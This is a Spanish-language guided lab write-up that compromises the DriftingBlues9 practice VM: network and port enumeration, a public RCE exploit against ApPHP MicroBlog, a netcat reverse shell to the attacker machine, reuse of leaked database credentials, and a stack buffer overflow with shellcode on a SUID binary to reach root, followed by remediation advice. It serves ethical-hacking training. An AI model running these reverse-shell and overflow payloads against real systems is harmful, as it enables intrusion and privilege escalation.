Laboratorio Guiado - 08-driftingblues9

Objetivo: El objetivo es comprometer una aplicación web vulnerable utilizando técnicas de enumeración, **explotación de vulnerabilidades conocidas** y escalamiento de privilegios mediante análisis de binarios y **buffer overflow** (BOF), siguiendo metodologías estructuradas del **OWASP Testing Guide v4** (Enlace a la máquina).

1. OTG-INFO-001 – Fingerprinting de red

El primer paso consiste en **descubrir la dirección IP de la máquina víctima** dentro de la red local. Para esto, se utiliza `arp-scan`, que permite enviar solicitudes ARP a todos los dispositivos conectados, identificando así sus direcciones IP y MAC.

```
› arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'

192.168.1.10
```

Aquí se filtra el resultado para obtener únicamente la IP de un host con nombre PCS, que se presume es la víctima.

---

2. OTG-INFO-002 – Enumeración de puertos y servicios

Para obtener información sobre los servicios disponibles en la víctima, se realiza un escaneo rápido y agresivo de todos los puertos TCP:

```
› sudo nmap -p- -sS --min-rate 5000 -n -Pn -oN 01-allPorts 192.168.1.10

PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
39345/tcp open  unknown
MAC Address: 08:00:27:3D:26:97 (Oracle VirtualBox virtual NIC)
```

Este resultado nos dice que el servidor tiene un servicio HTTP (Apache), un servicio RPC (rpcbind) y otro servicio desconocido (39345) activo.

Luego, se realiza una segunda fase de escaneo más detallada sobre esos puertos:

```
› nmap -sCV -p 80,111,39345 -oN 02-targeted.txt 192.168.1.10

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: ApPHP MicroBlog
|_http-generator: ApPHP MicroBlog vCURRENT_VERSION
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
```

```
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34311/tcp6  status
|   100024  1          36324/udp   status
|   100024  1          39345/tcp   status
|_  100024  1          60544/udp6  status
39345/tcp open  status  1 (RPC #100024)
```

La herramienta detecta que el servicio web está corriendo Apache 2.4.10 con el CMS “ApPHP MicroBlog”. También se observan cabeceras y cookies mal configuradas, lo que puede facilitar ataques de sesión.

---

3. OTG-INFO-003 – Fingerprinting de la aplicación web

Al inspeccionar el **código fuente del sitio web**, se descubre información sensible sobre la versión exacta del software:

```
<!-- This script was generated by ApPHP MicroBlog v.1.0.1
(http://www.apphp.com/php-microblog/) →
```

Divulgar la versión exacta de la aplicación en el código fuente facilita la búsqueda de exploits públicos, por lo tanto, es una mala práctica de seguridad.

---

4. OTG-VULN-001 – Búsqueda de vulnerabilidades conocidas

Buscamos exploits públicos usando `searchsploit`, herramienta que accede a la base de datos de Exploit-DB:

```
❯ searchsploit microblog 1.0.1
ApPHP MicroBlog 1.0.1 - Multiple Vulnerabilities | php/webapps/33030.txt
ApPHP MicroBlog 1.0.1 - Remote Command Execution | php/webapps/33070.py
```

La existencia de un exploit que permite **ejecución remota de comandos (RCE),** representa una amenaza crítica.

---

5. OTG-INPVAL-001 – Explotación de RCE

Utilizamos el exploit `33070.py` para explotar ejecución remota de comandos (RCE):

```
❯ python2 33070.py http://192.168.1.10/index.php
  -= LOTFREE exploit for ApPHP MicroBlog 1.0.1 (Free Version) =-
original exploit by Jiko : http://www.exploit-db.com/exploits/33030/
[*] Testing for vulnerability...
[+] Website is vulnerable
...
[*] Fetching include/base.inc.php
<?php
                define('DATABASE_HOST', 'localhost');
                define('DATABASE_NAME', 'microblog');
                define('DATABASE_USERNAME', 'clapton');
                define('DATABASE_PASSWORD', 'yaraklitepe');
                define('DB_ENCRYPT_KEY', 'p52plaiqb8');
                define('DB_PREFIX', 'mb101_');
                ?>
[*] Testing remote execution
[+] Remote exec is working with system() :)
Submit your commands, type exit to quit
> whoami
www-data
> nc 192.168.1.7 1234 -e /bin/bash
```

Luego establecemos una shell reversa:

```
❯ ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.10:56438.
script /dev/null -c bash
www-data@debian:/var/www/html$ export TERM=xterm
```

Obtenemos shell como **`www-data`**.

---

6. OTG-AUTHN-001 – Abuso de credenciales

Desde el exploit recuperamos el archivo `base.inc.php`, que contiene credenciales de base de datos:

```
define('DATABASE_USERNAME', 'clapton');
define('DATABASE_PASSWORD', 'yaraklitepe');
```

Usamos **su** para cambiar a ese usuario:

```
www-data@debian:/var/www/html$ su clapton
Password: yaraklitepe

clapton@debian:/var/www/html$
```

Esto demuestra la importancia de no dejar archivos sensibles expuestos en la raíz de la aplicación web.

---

7. OTG-INPVAL-002 – Escalamiento de privilegios mediante buffer overflow

En el home del usuario encontramos una **nota y un binario SUID**:

```
clapton@debian:~$ cat note.txt
buffer overflow is the way. ( ͡° ͜ʖ ͡°)

if you're new on 32bit bof then check these:

https://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
https://samsclass.info/127/proj/lbuf1.htm


clapton@debian:~$ ls -l input
-rwsr-xr-x 1 root root 5150 Sep 22  2015 input
```

Transferimos el binario para su análisis:

```
❯ nc -lvp 4444 > input

clapton@debian:~$ nc 192.168.1.7 4444 < input
```

---

8. OTG-CLIENT-001 – Análisis del binario vulnerable

Utilizando Ghidra, descubrimos que el binario copia un argumento directamente a una variable local con `strcpy`, sin ningún tipo de verificación de tamaño:

```
undefined4 main(int param_1,undefined4 *param_2)

{
  char local_af [171];

  if (param_1 < 2) {
    printf("Syntax: %s <input string>\n",*param_2);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  strcpy(local_af,(char *)param_2[1]);
  return 0;
}
```

El uso de strcpy() sobre un buffer sin validación del tamaño de entrada, introduce una vulnerabilidad crítica de buffer overflow. Si el usuario proporciona más de 170 caracteres

como argumento, se sobrescribirá la memoria contigua del stack; esto puede corromper el flujo de ejecución y permitir ejecución arbitraria de código (RCE).

En primer lugar, creamos y patrón con la herramienta pattern_create.rb de metasploit:

```
❯ /opt/metasploit/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
e7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
```

Ejecutamos en gdb en el equipo de la víctima para obtener dirección de falla:

```
clapton@debian:~$ gdb ./input
...
(gdb) run
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
e7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Starting program:
/home/wh01s17/Documentos/workspace/OTEC-Sustantiva/01-HACKING-ÉTICO-EN-
APLICATIVOS-WEB/material/maquinas/08-driftingblues9/content/input
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
e7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x41376641 in ?? ()
```

Calculamos el offset:

```
❯ /opt/metasploit/tools/exploit/pattern_offset.rb -l 200 -q 41376641

[*] Exact match at offset 171
```

Identificamos la dirección de carga (**ESP**):

```
(gdb) x/40x $esp

0xbf898bf0: 0x66413866  0x30674139  0x41316741  0x67413267
```

Convertimos 0xbf898bf0 en formato little endian:

```
0xbf898bf0 -> \xf0\x8b\x89\xbf
```

Creamos el payload con shellcode y NOP sled, e iteramos para forzar ejecución:

```
for i in {1..10000}; do (./input $(python -c 'print("A" * 171 +
"\xf0\x8b\x89\xbf" + "\x90" * 1000 + "\x31\xc9...")')) ; done
```

```
clapton@debian:~$ for i in {1..10000}; do (./input $(python -c
'print("A" * 171 + "\xf0\x8b\x89\xbf" + "\x90" * 1000 +
"\x31\xc9\xf7\xe1\x51\xbf\xd0\xd0\x8c\x97\xbe\xd0\x9d\x96\x91\xf7\xd7\x
f7\xd6\x57\x5e
...
Segmentation fault
Segmentation fault
Segmentation fault
# whoami
root
```

Obtenemos acceso como **root**:

---

9. Recomendaciones de Seguridad

OTG-INFO-002 – Servicios expuestos innecesariamente

- Restringir acceso a puertos no utilizados mediante `iptables`, `ufw` o firewalld.
- Auditar periódicamente los puertos expuestos con herramientas como `nmap` o `netstat`.

OTG-INPVAL-001 – Validación deficiente de entradas

- Reemplazar funciones peligrosas como `strcpy()` por alternativas seguras (`strncpy`, `snprintf`).
- Implementar validaciones de tamaño para datos externos antes de procesarlos.

OTG-VULN-001 – Uso de software desactualizado

- Mantener las aplicaciones actualizadas con parches de seguridad.
- Suscribirse a boletines de seguridad de software utilizado (e.g. ApPHP, Apache).

OTG-AUTHN-001 – Credenciales expuestas

- No incluir credenciales sensibles en archivos públicos o accesibles desde el navegador.
- Cifrar variables sensibles y utilizar almacenamiento seguro para configuraciones.

OTG-PRIV-001 – Binarios suid inseguros

- Eliminar permisos SUID innecesarios (`chmod -s`).
- Usar herramientas como `find / -perm -4000` para auditar binarios privilegiados.
- Aplicar restricciones con AppArmor o SELinux sobre ejecuciones privilegiadas.

Revisión General del Sistema

- Habilitar registro y monitoreo de logs (ej. auditd, syslog, Wazuh).
- Configurar backups automáticos y cifrados del sistema.
- Verificar integridad de archivos con herramientas como AIDE o Tripwire.
- Restringir acceso SSH con firewalls o configuraciones como `AllowUsers`.